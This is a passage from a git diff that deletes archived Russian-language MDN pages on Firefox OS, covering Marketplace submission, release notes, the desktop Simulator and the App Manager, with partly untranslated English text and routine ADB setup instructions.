- -<h3 id="Installing_Firefox_OS_on_a_Device">Installing Firefox OS on a Device</h3> - -<p>Since Firefox OS is an open source platform, code and tools are available to build and install Firefox OS on your own device. Build and installation instructions, as well as notes on what devices it can be installed on, can be found on <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Platform">MDN</a>.</p> - -<p>Dedicated Firefox OS developer preview devices are also available: read our <a href="https://marketplace.firefox.com/developers/dev_phone">Developer preview phone page</a> for more information.</p> - -<h2 id="App_Submission_and_Distribution">App Submission and Distribution</h2> - -<p>Once your app is complete, you can host it yourself like a standard web site or app (read <a href="/en-US/docs/Web/Apps/Publishing/Self-publishing_Apps">Self-publishing apps</a> for more information), or it can be <a href="https://marketplace.firefox.com/developers/submit/app/manifest">submitted</a> to the <a href="https://marketplace.firefox.com">Firefox Marketplace</a>. Your app's manifest will be validated and you may choose which devices your app will support (e.g. Firefox OS, Desktop Firefox, Firefox Mobile, Firefox Tablet). Once validated, you can add additional details about your app (screenshots, descriptions, price, etc.) and officially submit the app for listing within the Marketplace. Once approved, your app is available to the world for purchase and installation.</p> - -<h3 id="More_Marketplace_Listing_Information">More Marketplace & Listing Information</h3> - -<ol> - <li><a href="/en-US/docs/Web/Apps/Publishing/Submitting_an_app">Submitting an App to the Firefox OS Marketplace </a></li> - <li><a href="/en-US/docs/Web/Apps/Publishing/Marketplace_review_criteria">Marketplace Review Criteria </a></li> - <li><a href="http://s.vid.ly/embeded.html?link=8k2n4w&autoplay=false">App Submission Video Walkthrough </a></li> -</ol> -</article> diff --git a/files/ru/archive/b2g_os/releases/2.0/index.html b/files/ru/archive/b2g_os/releases/2.0/index.html deleted file mode 100644 index e7aa59e0c3..0000000000 --- a/files/ru/archive/b2g_os/releases/2.0/index.html +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Firefox OS 2.0 для разработчиков -slug: Archive/B2G_OS/Releases/2.0 -tags: - - B2G - - Firefox OS - - Информация о версии -translation_of: Archive/B2G_OS/Releases/2.0 ---- -<p></p><div class="overheadIndicator draft"> - <p><strong>Черновик</strong><br> - Эта страница не завершена.</p> - -</div><p></p> -<div class="summary"> - <p><strong>Firefox OS 2.0</strong> сейчас находится на стадии предрелизной подготовки. Это Gecko компонент базирующийся на <strong>Firefox 32</strong> (см <a href="/en-US/docs/Mozilla/Firefox/Releases/32" title="/en-US/docs/Mozilla/Firefox/Releases/28">Firefox 32 версия для разработчиков</a>.) На этой странице будут отображаться шаги разработки и нововведения в Firefox OS 2.0.</p> -</div> -<h2 id="Другое_содержимое_TBD">Другое содержимое TBD</h2> -<h2 id="Смотрите_также">Смотрите также</h2> -<ul> - <li>Firefox OS 2.0 Заметки (ссылка появится как только реализуем.)</li> -</ul> -<h2 id="Другие_версии">Другие версии</h2> -<p></p><div class="multiColumnList"> -<ul> -<li><a href="/ru/docs/Mozilla/Firefox_OS/Версии/1.4">Firefox OS 1.4 для разработчиков</a></li><li><a href="/ru/docs/Mozilla/Firefox_OS/Версии/1.3">Firefox OS 1.3 для разработчиков</a></li><li><a href="/ru/docs/Mozilla/Firefox_OS/Версии/1.2">Firefox OS 1.2 для разработчиков</a></li><li><a href="/ru/docs/Mozilla/Firefox_OS/Версии/1.1">Firefox OS 1.1 для разработчиков</a></li><li><a href="/ru/docs/Mozilla/Firefox_OS/Версии/1.0.1">Firefox OS 1.0.1 для разработчиков</a></li></ul> -</div><p></p> diff --git a/files/ru/archive/b2g_os/releases/index.html b/files/ru/archive/b2g_os/releases/index.html deleted file mode 100644 index 3edbcd4c75..0000000000 --- a/files/ru/archive/b2g_os/releases/index.html +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Firefox OS developer release notes -slug: Archive/B2G_OS/Releases -tags: - - Firefox OS - - NeedsTranslation - - TopicStub -translation_of: Archive/B2G_OS/Releases ---- -<h2 id="Firefox_OS_release_notes_by_version">Firefox OS release notes by version</h2> -<p>This section provides articles covering each new release of Gaia and Gecko for Firefox OS, explaining what features were added and bugs eliminated in each update. There is also a linked summary table showing what APIs are supported by each version of Firefox OS.</p> -<div class="multiColumnList"> - {{ListSubpages("",1,0,1)}}</div> -<h2 id="Other_supporting_information">Other supporting information</h2> -<dl> - <dt> - <a href="/en-US/docs/Mozilla/Firefox_OS/API_support_table">Firefox OS API support table</a></dt> - <dd> - Lists the different APIs available, and what versions of Firefox have support for them.</dd> - <dt> - <a href="/en-US/docs/Web/Apps/App_permissions">App permissions</a></dt> - <dd> - Lists hosted, privileged and certified APIs, along with information on the permissions they need to have set in the App Manifest of your installable apps, such as the manifest permission name, app type required, description, access property, and default permission.</dd> -</dl> diff --git a/files/ru/archive/b2g_os/simulator/index.html b/files/ru/archive/b2g_os/simulator/index.html deleted file mode 100644 index e79f5ba765..0000000000 --- a/files/ru/archive/b2g_os/simulator/index.html +++ /dev/null @@ -1,111 +0,0 @@ ---- -title: Firefox OS Симулятор -slug: Archive/B2G_OS/Simulator -tags: - - Apps - - Firefox OS - - Tools - - 'l10n:priority' -translation_of: Archive/B2G_OS/Simulator ---- -<div class="note"> -<p>Страница с описанием Симулятора Firefox OS для разработчиков, ориентирующихся на Firefox OS 1.2 или новее. Если вы разрабатываете приложения для Firefox OS 1.1, то см. документацию для <a href="/ru/docs/Tools/Firefox_OS_1.1_Simulator">Симулятора Firefox OS 1.1</a>.</p> -</div> - -<p><span style="line-height: 1.5;">Firefox OS Simulator — это версия ПО высшего уровня<span style="line-height: 1.5;"> Firefox OS (уровня пользователя)</span>, которая имитирует устройство Firefox OS, но работает на настольном компьютере</span><span style="line-height: 1.5;">. Это означает, что во многих случаях вам не нужно реального устройства для тестирования и отладки приложения. </span><span style="line-height: 1.5;">Он работает в окне того же размера, что и устройство на Firefox OS и включает в себя пользовательский интерфейс Firefox OS и встроенные приложения, а также имитирует многие из API устройств Firefox OS.</span></p> - -<p><span style="line-height: 1.5;">Симулятор упаковывается и распространяется как дополнение к Firefox. После того как вы скачали и установили его в Firefox, вы можете запускать его, push apps to it, и подсоединять к нему инструменты разработки с помощью <a href="/ru/Firefox_OS/Using_the_App_Manager">App Manager</a> или </span><a href="/ru/docs/Tools/WebIDE"><span style="line-height: 1.5;">WebIDE</span></a><span style="line-height: 1.5;">.</span></p> - -<h2 id="Установка"><span style="line-height: 1.5;">Установка</span></h2> - -<p><span style="line-height: 1.5;">Для установки симулятора используйте <a href="/docs/Tools/WebIDE/Setting_up_runtimes#Adding_a_Simulator">панель «Управление дополнительными компонентами» WebIDE</a> (встроена в Firefox 34 с версии 34). Multiple versions are available, and you are advised to install them all, for maximum flexibility.</span></p> - -<p>Для запуска симулятора, выберите его из списка сред выполнения WebIDE. Для получения более подробной информации см. <a href="/docs/Tools/WebIDE/Setting_up_runtimes#Selecting_a_runtime" style="font-size: 14px; font-weight: normal; line-height: 1.5;">инструкции в документации WebIDE</a>. После первого запуска симулятора вы можете загружать в него приложения и отлаживать их в WebIDE точно так же, как на реальном устройстве.</p> - -<p>Если вы используете <a href="/Firefox_OS/Using_the_App_Manager">App Manager</a> (более старую утилиту, которая была доступна до WebIDE), то вы можете установить симулятор воспользовавшись следующей кнопкой:</p> - -<p><a href="https://ftp.mozilla.org/pub/mozilla.org/labs/fxos-simulator/" style="margin-bottom: 20px; padding: 10px; color: white; text-align: center; border-top-left-radius: 4px; border-top-right-radius: 4px; border-bottom-right-radius: 4px; border-bottom-left-radius: 4px; display: inline-block; background-color: rgb(129, 188, 46); white-space: nowrap; text-shadow: rgba(0, 0, 0, 0.247059) 0px 1px 0px; box-shadow: rgba(0, 0, 0, 0.2) 0px 1px 0px 0px, rgba(0, 0, 0, 0.298039) 0px -1px 0px 0px inset;">Установить Симулятор</a></p> - -<h2 id="Пользовательский_интерфейс_Симулятора" style="line-height: 30px;">Пользовательский интерфейс Симулятора</h2> - -<p>Симулятор запускается в отдельном окне, в адаптированном разрешении с площадью экрана 320x480 пикселей (pixels).</p> - -<p><span style="line-height: 22.00800132751465px;">The Simulator appears as a separate window, sized so the simulated screen area is 320x480 pixels. </span><span style="line-height: 22.00800132751465px;">To simulate touch events you can click the mouse button and drag while holding the button down. So by clicking and dragging right-to-left from the Home Screen, you'll see the built-in apps, as well as any apps you have added:</span></p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/7173/simulator-1.2.png" style="display: block; height: 623px; margin: 0px auto; width: 810px;"></p> - -<p>The Simulator has two buttons in a toolbar at the bottom:</p> - -<ul> - <li>the button on the left takes you to the Home screen, or switches the Simulator off if you hold it down</li> - <li>the button on the right switches the Simulator between portrait and landscape orientation. This will generate the <a href="https://developer.mozilla.org/ru/docs/WebAPI/Managing_screen_orientation#Listening_orientation_change" title="/ru/docs/WebAPI/Detecting_device_orientation">orientationchange</a> event.</li> -</ul> - -<h2 id="SD_card_emulation">SD card emulation</h2> - -<p>In the Simulator the device SD card is mapped to the "fake-sdcard" directory in the Simulator's profile, which is itself located inside the "extensions" directory under the Firefox profile in which the Simulator is installed. For example:</p> - -<pre>/path/to/Firefox/Profiles/Firefox-profile-name/extensions/fxos_2_2_simulator@mozilla.org/profile/fake-sdcard</pre> - -<p>Files read or written using the <code><a href="/ru/docs/Web/API/Navigator.getDeviceStorage">getDeviceStorage</a></code> API will appear here.</p> - -<p>Before version 2.2 of the Simulator, you had to create the "fake-sdcard" directory manually for this to work. From 2.2 onwards, the "fake-sdcard" directory is created for you automatically.</p> - -<p>Also from version 2.2 onwards, if you're running the Simulator from the command line you can define a different directory by passing the <code>--storage-path</code> option.</p> - -<h2 id="Limitations_of_the_Simulator">Limitations of the Simulator</h2> - -<p>Note that the Firefox OS Simulator isn't a perfect simulation.</p> - -<h3 id="Hardware_limitations">Hardware limitations</h3> - -<p>Apart from screen size, the Simulator does not simulate the hardware limitations of a Firefox OS device such as available memory or CPU speed.</p> - -<h3 id="Аудиовидео_кодеки">Аудио/видео кодеки </h3> - -<p>The following codecs depend on hardware-accelerated decoding and are therefore not yet supported:</p> - -<ul> - <li>MP3</li> - <li>AAC</li> - <li>H.264 (MP4)</li> - <li>WebM</li> -</ul> - -<p>This means it isn't possible to use the Simulator to test video playback in apps and on websites like Youtube that rely on these codecs.</p> - -<h3 id="Unsupported_APIs"><a name="Unsupported-APIs">Unsupported APIs</a></h3> - -<p>Certain APIs that work on the device won't work on the Simulator, generally because the supporting hardware is not available on the desktop. We've implemented simulations for some APIs such as geolocation, and expect to add more in future releases. However, at the moment the following APIs are not supported. Using them might throw errors or just return incorrect results:</p> - -<ul> - <li><a href="/ru/WebAPI/WebTelephony" title="/ru/WebAPI/WebTelephony">Telephony</a></li> - <li><a href="/ru/docs/WebAPI/WebSMS" title="/ru/docs/WebAPI/WebSMS">WebSMS</a></li> - <li><a href="/ru/docs/WebAPI/WebBluetooth" title="/ru/docs/WebAPI/WebBluetooth">WebBluetooth</a></li> - <li><a href="/ru/docs/WebAPI/Using_Light_Events" title="/ru/docs/WebAPI/Using_Light_Events">Ambient Light</a></li> - <li><a href="/ru/docs/WebAPI/Proximity" title="/ru/docs/WebAPI/Proximity">Proximity</a></li> - <li><a href="/ru/docs/WebAPI/Network_Information" title="/ru/docs/WebAPI/Network_Information">Network Information</a></li> - <li><a href="/ru/docs/Online_and_offline_events" title="/ru/docs/Online_and_offline_events">navigator.onLine and offline events</a></li> - <li><a href="/ru/docs/WebAPI/Vibration" title="/ru/docs/WebAPI/Vibration">Vibration</a></li> -</ul> - -<h2 id="Getting_help"><a name="Simulator-help"></a>Getting help</h2> - -<p><span style="line-height: 1.5;">If you have a question, try asking us on the </span><a href="https://lists.mozilla.org/listinfo/dev-developer-tools" style="line-height: 1.5;">dev-developer-tools mailing list</a><span style="line-height: 1.5;"> or on </span><a href="irc://irc.mozilla.org/#devtools" style="line-height: 1.5;">#devtools on irc.mozilla.org</a><span style="line-height: 1.5;">.</span></p> - -<h3 id="How_to_enable_verbose_logging"><a name="Simulator-verbose-logging"></a>How to enable verbose logging</h3> - -<p>You can see messages logged from your app in the <a href="/ru/docs/Tools/Web_Console">Web Console</a>, which you can attach to your app using the <a href="/docs/Tools/WebIDE/Troubleshooting">WebIDE</a>. If you want to catch early messages happening during app startup, before the console gets connected and working, you can enable verbose logging in the Simulator.</p> - -<p>Visit about:config and <strong>create</strong> a new preference. The preference name is different for each version of the Simulator:</p> - -<ul> - <li>extensions.fxos_1_3_simulator@mozilla.org.sdk.console.logLevel for Firefox OS 1.3</li> - <li>extensions.fxos_1_2_simulator@mozilla.org.sdk.console.logLevel for Firefox OS 1.2</li> -</ul> - -<p>Set it to the string value "all", and disable, then reenable, the add-on in the Add-on Manager. Now extra messages about the Simulator's operation will appear in the <a href="/ru/docs/Tools/Browser_Console">Browser Console</a>.</p> - -<h2 id="Building_the_Simulator">Building the Simulator</h2> - -<p>If you'd like to test patches to the Gecko or Gaia code that the Simulator contains, you may be interested in <a href="/ru/Firefox_OS/Running_custom_builds_in_the_App_Manager">modifying the simulator</a> to use a custom Gecko build or Gaia profile. Alternatively, you can <a href="/ru/Firefox_OS/Building_the_Firefox_OS_simulator">build a new Simulator</a> from your Gecko checkout.</p> diff --git a/files/ru/archive/b2g_os/using_the_app_manager/index.html b/files/ru/archive/b2g_os/using_the_app_manager/index.html deleted file mode 100644 index 4eb7c0bdf9..0000000000 --- a/files/ru/archive/b2g_os/using_the_app_manager/index.html +++ /dev/null @@ -1,315 +0,0 @@ ---- -title: Использование Менеджера приложений (не переведен до конца) -slug: Archive/B2G_OS/Using_the_App_Manager -translation_of: Archive/B2G_OS/Using_the_App_Manager ---- -<div class="summary"> -<p>Менеджер приложений - это новый инструмент в Firefox для Рабочего стола, который предлагает вам инструменты чтобы помочь вам тестировать, разрабатывать и отлаживать веб-приложения HTML5 на телефонах базированных на Firefox OS и в Симуляторе Firefox OS, прямо в вашем браузере.</p> -</div> - -<p style="text-align: center;">{{EmbedYouTube("z1Bxg1UJVf0")}}</p> - -<p>Менеджер приложений состоит из:</p> - -<ul> - <li><a href="#Apps_panel"><em>Панели Приложений</em></a>, которая сортирует локальные приложения (исходный код расположен на вашем компьютере) и приложения из Интернета, позволяя вам собирать и устанавливать их на вашем устройстве или симуляторе, и отлаживать их используя Панели.</li> - <li><a href="#Device_panel"><em>Панели устройств</em></a>, которая отображает информацию о подключенном устройстве включая версию Firefox OS, права нужные для использования API вашего устройства и установленные приложения.</li> - <li><a href="/en-US/docs/Tools_Toolbox"><em>Панели</em></a>, которые наборы инструментов разработки (веб-консоль, инспектор, отладчик и др.) могут подключиться к рабочему приложению через Панель Приложении чтобы провести отладочные операции.</li> -</ul> - -<h2 id="Быстрая_установка"><a name="Configuring_device">Быстрая установка:</a></h2> - -<p>Эта часть создана чтобы настроить и запустить как можно быстрее. Если вам надо больше деталей, то, пожалуйста , пройдите далее к части ("Конфигурация системы и устройства") и начинайте читать оттуда. Также посмотрите часть ("Поиск неисправностей) для помощи, если у вас проблема.</p> - -<ol> - <li>Убедитесь, что у вас установлен Firefox 26+ для Рабочего стола.</li> - <li>Откройте Менеджер приложении( в адресной строке наберите<code> about:app-manager</code>).</li> - <li>Если у вас нет настоящего устройства:<span id="cke_bm_376C" style="display: none;"> </span></li> - <li> - <ol> - <li><a href="https://ftp.mozilla.org/pub/mozilla.org/labs/fxos-simulator/">Установите симулятор Firefox OS</a></li> - <li>В нижней панели Менеджера приложений, нажмите на - <i>Start Simulator</i> - , потом нажать на имя установленного симулятора, который должен появиться.</li> - </ol> - </li> - <li>Если у вас есть настоящее устройство:</li> - <li> - <ol> - <li>Убедитесь, что у вас установлен Firefox OS 1.2 или выше</li> - <li>На Windows, установите драйвера предоставленные производителем телефона.</li> - <li>В настройках вашего устройства, отключите Lock Screen (<code>Settings > Screen Lock) </code>и включите Remote Debugging (<code>Settings ><code>Device information > More information > Developer</code></code>)</li> - <li><a href="https://ftp.mozilla.org/pub/mozilla.org/labs/fxos-simulator/">Установите плагин Помощника ADB</a> на Firefox Desktop.</li> - <li>Подключите ваше устройство к компьютеру через USB порт.</li> - <li>Вы должны увидеть имя вашего устройства в нижней Панели Менеджера приложений. Нажмите на нее.</li> - </ol> - </li> - <li>Нижняя панель должна показать:"Соединено с xxx"</li> - <li>Нажмите на Панель Приложений и добавьте приложение (на компьютере или в интернете)</li> - <li>Кнопка <em>Обновить </em>проверяет ваше приложение и устанавливает его в Симулятор/Устройство.</li> - <li>Кнопка <em>Отладка </em>подключает инструменты разработчика к рабочему приложению.</li> - <li> - <p><strong>Просмотрите часть </strong><strong>{{ anch("Troubleshooting") }} для помощи если у вас есть проблема.</strong></p> - </li> -</ol> - -<h2 id="Конфигурация_системы_и_устройства">Конфигурация системы и устройства</h2> - -<p>Первое что вам будет нужно сделать, когда вы используете Менеджер Приложений - это удостовериться, что телефон и система настроены правильно. Эта часть посвящена тому, чтобы пройти все нужные шаги.</p> - -<h3 id="Необходим_Firefox_OS_1.2_и_более">Необходим Firefox OS 1.2 и более</h3> - -<p>Убедитесь, что ваше устройство работает на Firefox OS 1.2/Boot2Gecko 1.2 или больше. Чтобы проверить версию Firefox OS, на котором работает устройство, пройдите к <code>Settings > Device Information > Software</code>.</p> - -<p>Если у вас версия ниже, то от телефона зависит, будете вы устанавливать новую версию Firefox 1.2+, или настраивать и собирать самостоятельно из исходного кода.</p> - -<p>Доступные сборки:</p> - -<p><a href="http://downloads.geeksphone.com/">Geeksphone Keon/Peak сборки (англ.)</a> (чтобы узнать зачем они пройдите к <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Developer_phone_guide/Updating_and_Tweaking_Geeksphone">Обновление и персонализация телефонов на Firefox OS Developer Preview /Geeksphone(англ.)</a>)</p> - -<p>Чтобы построить свою сборку Firefox OS 1.2+, следуйте инструкциям расположенным в <a href="https://developer.mozilla.org/ru/docs/Mozilla/Firefox_OS/Building_and_installing_Firefox_OS">Сборка и установка Firefox OS</a>, начиная с <a href="/ru/docs/Mozilla/Firefox_OS/Firefox_OS_build_prerequisites">Прежде, чем собрать Firefox OS</a>.</p> - -<h3 id="Удаленная_отладка">Удаленная отладка</h3> - -<p>Далее вам надо включить удаленную отладку в Firefox OS. Чтобы это сделать, перейдите в <code>Settings > Device information > More information > Developer </code>и проверьте галочку Remote Debugging<code>. </code></p> - -<h3 id="Adb_Helper_Add-on" name="Adb_Helper_Add-on">Помощник ADB(OMA)</h3> - -<p>Весь процесс использует Android Debug Bridge(ADB)(Отладочный Мост Android(OMA) для того, чтобы обрабатывать подключение между компьютером и устройством. Есть два способа запуска ADB:</p> - -<p>Позвольте Firefox обрабатывать ADB(рекомендовано). <a href="https://ftp.mozilla.org/pub/mozilla.org/labs/fxos-simulator/">Установите плагин помощник ADB(англ.)</a>, который сделает процесс быстрее. Когда это установлено, не будет нужды устанавливать ADB, не надо будет вводить команду <code>adb forward</code>. Все это обработает плагин.</p> - -<p><a href="https://ftp.mozilla.org/pub/mozilla.org/labs/fxos-simulator/" style="margin-bottom: 20px; padding: 10px; text-align: center; border-radius: 4px; display: inline-block; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;" title="https://addons.mozilla.org">Установить плагин Помощник ADB</a></p> - -<p>Если использовать ADB самостоятельно, то он у вас должен быть установлен на компьютере - загрузите и установите <code>adb</code> (просмотрите <a href="http://developer.android.com/intl/ru/sdk/index.html">Get the Android SDK(англ.)</a>) как часть пакета Android SDK. Вам нужно будет включить переадресацию адресов, чтобы это сделать надо ввести команду в терминал:</p> - -<pre class="language-html">adb forward tcp:6000 localfilesystem:/data/local/debugger-socket</pre> - -<p>Заметьте, что это надо делать всегда после перезагрузки/отключения-подключения телефона к сети.</p> - -<div class="note"> -<p>Примечание: Нет нужды вводить эту команду если у вас установлен Помощник ADB.</p> -</div> - -<h2 id="Подключение_устройства_к_Менеджеру_Приложений">Подключение устройства к Менеджеру Приложений</h2> - -<p>Когда настройка завершена, пришло время подключить устройство к компьютеру и запустить менеджер приложений:</p> - -<ul> - <li>Подключите ваше устройство к компьютеру через USB.</li> - <li>Отключите блокировку экрана. Чтобы это сделать, зайдите в <code>Settings > Screen Lock </code>и уберите галочку с <code>Lock Screen. </code>Это необходимо, потому что, если у вас телефон заблокируется, то подключение прервется, он больше не будет доступен для отладки.</li> - <li>Запустите Менеджер Приложений - в Firefox для рабочего стола выберите <code>Инструменты > Веб-разработка > Управление приложениями</code>, или введите в адресной строке <code>about:app-manager</code>.</li> - <li>Под вкладкой Менеджера приложений вы увидете панель индикации</li> -</ul> - -<p><img alt="" src="https://mdn.mozillademos.org/files/6263/connection-status.png" style="width: 600px; height: 30px; display: block; margin: 0px auto;"></p> - -<div class="note"> -<p><span id="result_box" lang="ru"><span class="hps">Примечание: Обратите внимание, что</span> <span class="hps">другие</span> <span class="hps">элементы управления в</span> <span class="hps">строке состояния</span> <span class="hps">соединения</span> <span class="hps">позволяют подключить</span> <span class="hps">Симулятор Менеджера Приложений</span><span>, который мы</span> <span class="hps">рассмотрим в</span> <span class="hps">следующем разделе</span><span>,</span> <span class="hps">и</span> <span class="hps">изменить порт</span><span>, чтобы соединение</span> <span class="hps">происходило успешно</span><span>.</span> <span class="hps">Если изменить</span> <span class="hps">порт, вы</span> <span class="hps">также должны будете</span> <span class="hps">включить переадресацию для</span> <span class="hps">этого порта</span><span>, также,</span> <span class="hps">как указано в </span></span>{{anch("Enable port forwarding")}} <span id="result_box" lang="ru"><span class="hps">разделе</span> <span class="hps">выше.</span></span></p> -</div> - -<h2 id="Использование_плагина"><a name="Simulator">Использование плагина </a></h2> - -<h2 id="Firefox_OS_Simulator"><a name="Simulator">Firefox OS Simulator</a></h2> - -<p><span id="result_box" lang="ru"><span class="hps">Если</span> <span class="hps">у вас нет</span> <span class="hps">реального устройства</span><span>, доступного для</span> <span class="hps">использования Менеджера Приложений</span><span>,</span> <span class="hps">можно еще попробовать</span> <span class="hps">его с помощью</span></span> <a href="/en-US/docs/Tools/Firefox_OS_Simulator">Firefox OS Simulator.</a> <span id="result_box" lang="ru"><span class="hps">Для начала,</span> <span class="hps">установите соответствующий</span> <span class="hps">симулятор для</span> <span class="hps">вашей операционной системы</span><span>:</span></span></p> - -<p><a href="https://ftp.mozilla.org/pub/mozilla.org/labs/fxos-simulator/" style="margin-bottom: 20px; padding: 10px; text-align: center; border-radius: 4px; display: inline-block; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;">Установить Симулятор</a></p> - -<div class="note"> -<p>Примечание: <span id="result_box" lang="ru"><span class="hps">в настоящее время</span><span class="hps"> <span id="result_box" lang="ru"><span class="hps">доступен </span></span>только</span> <span class="hps">Firefox</span> <span class="hps">OS</span> <span class="hps">1.2</span> <span class="hps">симулятор</span><span>, хотя</span><span class="hps"> в будущем <span id="result_box" lang="ru"><span class="hps">могут появиться более новые версии</span></span>.</span></span></p> -</div> - -<p><span id="result_box" lang="ru"><span class="hps">После установки</span> <span class="hps">симулятора</span><span>, вы</span> <span class="hps">должны найти в</span> <span class="hps">строке состояния</span> <span class="hps">соединения,</span> <span class="hps">в</span> <span class="hps">нижней части вкладки</span> <span class="hps"><span id="result_box" lang="ru"><span class="hps">Менеджер Приложений</span></span></span><span>,</span> <span class="hps">и нажмите</span> <span class="hps">кнопку "Start simulator</span><span>"</span><span>.</span> <span class="hps"><span id="result_box" lang="ru"><span class="hps">Появится т</span></span>ри кнопки</span> <span>:</span></span></p> - -<h2 id="Панель_приложений"><a name="Apps_panel">Панель приложений</a></h2> - -<p>Теперь, когда все работает, рассмотрим функционал доступный в Менеджере Приложений, начиная с Панели приложений. Отсюда вы можете отправить существующие приложения на ваше устройство одним нажатием и отладить его:</p> - -<p>Информация о вашем приложении должна появиться в правой половине окна, как показано ниже:</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/6261/apps-panel.png" style="width: 600px; height: 375px; display: block; margin: 0px auto;"></p> - -<h3 id="Редактор_Манифестов">Редактор Манифестов</h3> - -<p>Начиная с Firefox 28 версии Панель Приложений включает в себя Редактор Манифестов:</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/6613/apps-panel-fx-28.png" style="width: 600px; display: block; margin: 0px auto;"></p> - -<h3 id="Отладка">Отладка</h3> - -<p>Кликните по <em>"Update"</em> чтобы обновить (установить) приложение на устройство. Кликните по <em>"debug"</em> для подключения набора инструментов, что позволит вам непосредственно отлаживать свой код:</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/6265/debug.png" style="width: 600px; height: 375px; display: block; margin: 0px auto;"></p> - -<div class="note"> -<p><span class="short_text" id="result_box" lang="ru"><span class="hps">Примечание:</span></span> <span id="result_box" lang="ru"><span class="hps">Вы будете наслаждаться</span> <span class="hps">играя с</span> <span class="hps">панелью инструментов</span> <span class="hps">- попробуйте</span> <span class="hps">измененить</span> <span class="hps">DOM</span><span>, CSS</span> <span class="hps">и т.д.</span><span>, и вы увидите </span>что <span class="hps">изменения</span> <span class="hps">отображаются</span> <span class="hps">на устройстве</span> <span class="hps">в режиме реального времени</span><span>.</span> <span class="hps">Такие изменения</span> <span class="hps">будут сохранены</span> <span class="hps">в</span> <span class="hps">коде</span> <span class="hps">приложения</span><span>, вы</span> <span class="hps">увидите их</span> <span class="hps">в следующий раз, когда</span> <span class="hps">вы откроете приложение</span> <span class="hps">на устройстве.</span></span></p> -</div> - -<p>До Firefox 28, инструменты открывались в отдельном окне. Начиная с Firefox 28 <span id="result_box" lang="ru"><span>инструменты</span> <span class="hps">запускаются</span> <span class="hps">в отдельной вкладке</span> <span class="hps">в самом</span> <span class="hps">Менеджере Приложений</span><span>,</span> <span class="hps">на одном ряду с</span> вкладками Приложения и Устройства<span>.</span> <span class="hps">Вкладке</span> <span class="hps">дается</span> <span class="hps">значок</span> <span class="hps">вашего приложения</span><span>, поэтому ее легко</span> <span class="hps">найти:</span></span></p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/6615/toolbox-fx-28.png" style="width: 600px; height: 375px; display: block; margin: 0px auto;"></p> - -<h3 id="Ошибки">Ошибки</h3> - -<p><span id="result_box" lang="ru"><span class="hps">Если приложение</span> <span class="hps">не</span> <span class="hps">было добавлено</span> <span class="hps">успешно</span> <span class="hps">-</span> <span class="hps">например, если</span> <span class="hps">URL</span> <span class="hps">был неправильным</span><span>,</span> <span class="hps">или</span> <span class="hps">вы выбрали</span> <span class="hps">упакованную</span> <span class="hps">папку</span> <span class="hps">приложения</span> <span class="hps">-</span> <span class="hps">запись будет</span> <span class="hps">добавлена к странице</span> <span class="hps">для этого приложения</span><span>, но это</span> <span class="hps">будет включать в себя</span> <span class="hps">сведения об ошибке</span><span>.</span></span></p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/6259/apps-error.png" style="width: 600px; height: 375px; display: block; margin: 0px auto;"></p> - -<p><span id="result_box" lang="ru"><span class="hps">Вы также можете удалить</span> <span class="hps">приложение</span> из Менеджера<span>,</span> <span class="hps">подведя курсор к</span> <span class="hps">Приложению</span> "<span class="hps">имя</span> <span class="hps">/ описание"</span> <span class="hps">слева от</span> <span class="hps">окна</span><span>,</span> <span class="hps">и нажать кнопку</span> <span class="hps">"X"</span><span>, которая появляется в</span> <span class="hps">каждом конкретном случае.</span> <span class="hps">Это, однако,</span> <span class="hps">не удаляет</span> <span class="hps">приложение</span> <span class="hps">с устройства.</span> <span class="hps">Для этого вам</span> <span class="hps">нужно вручную удалить</span> <span class="hps">приложение</span> <span class="hps">с помощью</span> <span class="hps">самого устройства</span><span>.</span></span></p> - -<h2 id="Панель_устройства"><a name="Device_panel">Панель устройства</a></h2> - -<p>Вкладка<em> "Устройство"</em> показывает информацию о подключенном устройстве. Из окна <em>"Установленные Приложения"</em>, приложение на устройстве может быть запущено и отлажено.</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/6267/device-tab.png" style="width: 600px; height: 375px; display: block; margin: 0px auto;"></p> - -<div class="note"> -<p><span class="short_text" id="result_box" lang="ru"><span class="hps">Примечание:</span></span> Проверенных приложений нет в списке по умолчанию. <a href="#Debugging_Certified_Apps">Посмотреть, как отлаживать приверенные приложения</a>.</p> -</div> - -<p><a name="permissions"></a>В окне "Разрешения" необходимы привилегии для различных <a href="/en-US/docs/WebAPI">Web APIs</a> на текущем устройстве:</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/6269/permissions.png" style="width: 600px; height: 375px; display: block; margin: 0px auto;"></p> - -<p><span id="result_box" lang="ru"><span class="hps">Наконец, вы можете</span> <span class="hps">сделать скриншот</span> <span class="hps">экрана</span> <span class="hps">текущего</span> <span class="hps">устройства</span><span>, нажав</span> <span class="hps atn">на кнопку "</span>Screenshot<span>"</span><span>.</span> <span class="hps">Скриншот</span> появится <span class="hps">в новой вкладке</span> <span class="hps">в</span> <span class="hps">Firefox</span><span>,</span> <span class="hps">и</span> <span class="hps">оттуда вы можете</span> <span class="hps">сохранить</span> <span class="hps">его, если хотите</span><span>.</span></span></p> - -<h2 id="Отладка_проверенных_приложений"><a name="Debugging_Certified_Apps">Отладка проверенных приложений</a></h2> - -<p><span id="result_box" lang="ru"><span class="hps">В настоящее время только</span> <span class="hps">устройства под управлением</span> <span class="hps">Firefox</span> <span class="hps">OS</span> <span class="hps">1.2</span> <span class="hps">способны</span> <span class="hps">отлаживать</span> <span class="hps">сертифицированные</span> <span class="hps">приложения.</span> <span class="hps">Если у вас есть разработанная</span> <span class="hps">сборка</span><span>, вы можете включить</span> <span class="hps">отладку</span> <span 